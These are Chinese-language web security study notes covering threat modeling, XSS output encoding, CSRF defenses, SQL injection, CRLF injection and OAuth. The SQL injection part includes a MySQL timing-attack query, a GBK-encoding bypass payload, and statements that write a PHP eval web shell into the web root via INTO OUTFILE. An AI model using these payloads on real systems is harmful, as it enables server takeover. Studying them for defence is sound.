- Secure By Default原則
- Defense in Depth原則
安全評估
-
資產等級劃分
-
威脅分析
[STRIDE](https://www.notion.so/STRIDE-a7a93fce59ac4fabb0a6073fb981057f?pvs=21)
-
風險分析
[DREAD](https://www.notion.so/DREAD-6323ef563b2446d98f71c16fc7d78e08?pvs=21)
-
確認解決方案
前後端再輸入框各做一次檢查的意義,前端可以阻擋大部分使用者的操作失誤,節省伺服器的資源,後端檢查才是真正針對安全做防範,畢竟前端的檢查繞過非常輕鬆。
window.name可以跨窗口發消息,實現消息傳遞,不受同源政策所限制。
HttpOnly
由瀏覽器掌控著,它能使cookie能不被javascript讀到,但也曾經出過被繞過的可能,Apache所支持的Trace請求,能夠將有HttpOnly屬性的Cookie讀出來
輸出使用編碼
HtmlEncode,將字元轉換成HTMLEntities,對應標準是ISO-8859-1,對抗XSS,常用轉換的幾個字:
- & → &
- < → <
-
→ >
- " → "
- ' → '
- / → /
Html Parser 會優先於 Javascript Parser 執行,所以是HtmlEncode先被解碼,再進行Javascript Parser
OWASP ESAPI推薦一種更嚴格的HtmlEncode,除了字母數字,其他所有特殊字元都會編碼成HTMLEntites
String safe = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));
CSRF防禦
驗證碼
最為有效的方式,但容易被使用者詬病。
Referer Check
檢查來源來自哪裡,可以使用同源政策中的header Origin,還有referer,但須注意referer能夠偽造
Request:
GET http://www.b.com/t.php HTTP/1.1
Host: www.b.com
...
Referer: http://www.a.com/t.html
Origin: http://www/a.com
Response:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: *
Token
使用Token做防禦,Token需同時放入表單與Session(Cookie),再進行比對,若其中有一個為空,則為不合法,可能發生了CSRF。
SQL injection
Timing Attack
MySQL
使用BENCHMARK()函數,讓同一個函數執行多次,透過返回時間長短來判定是否注入成功。
// BENCHMARK(count,expr)
SELECT BENCHMARK(1000000,ENCODE('hello','goodbye'))
其他語言也有類似函數,需查閱相關手冊。
獲取關鍵資料
透過一些SQL函數,可以取得很多有用訊息
- database() 當前資料庫名稱
- system_user() 系統帳戶
- current_user() 當前帳戶
- last_insert_id() SQL語句插入最後一筆的ID
SQL也能傳Shell過去,先用指令檢視secure_file_priv,路徑若為空才能指定路徑上傳(NULL則為關閉),若有預設路徑要注意
//檢視 secure_file_priv
show global variables like '%secure%';
//寫一個後門資料表,轉成檔案匯出後,就可以考慮drop掉了
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');
SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';
編碼問題
當年MySQL的 mysql_real_escape_string()
函式出現過此問題,編碼不一致可能產生SQLi,例如當MySQL使用GBK編碼
- 0x5c = ' \ '
- 0x27 = ' ' '
0xbf27 、 0xbf5c 則是兩個合法的GBK編碼,因此
0xbf27 or 1=1;#
如果使用反斜線註釋掉0x27的單引號,這時就會發生問題,最後的結果會變為
0xbf5c 0x27 or 1=1;#
SQL Column Trucation
2008年有一個MySQL截斷漏洞,sql_mode為default時,沒有開啟STRICT_ALL_TABLES,惡意輸入超長值會跳出警告,但能夠存入這一筆資料並截斷後面的值,可能做到資料庫裡出現
admin | pass
admin | new_pass
而這時如果做出某些操作,可能發生一些越權訪問,例如簡單的
select `username` from `users`
使用預處理器來防SQLi
用綁定變數來防止SQL語法的結構改變,下面是php的預處理器綁定變數範例
$query = "INSERT INTO myCity (Name ,CountryCode,District) VALUES (?,?,?)";
$stmt = $mysqli -> prepare($query);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';
$stmt -> execute();
CRLF Attack
換行、回車問題,就是\r\n
,在windows操作系統底下的換行都是如此,他們的編碼分別為%0d%0a
,防禦的話只需要對這兩個字元做特別處理,常見可能發生的地方在於log檔的偽造、偽裝構造Http header
OAuth
Request token 換取Access token,然後透過Access token訪問資源,Request token只是用來換取用戶的授權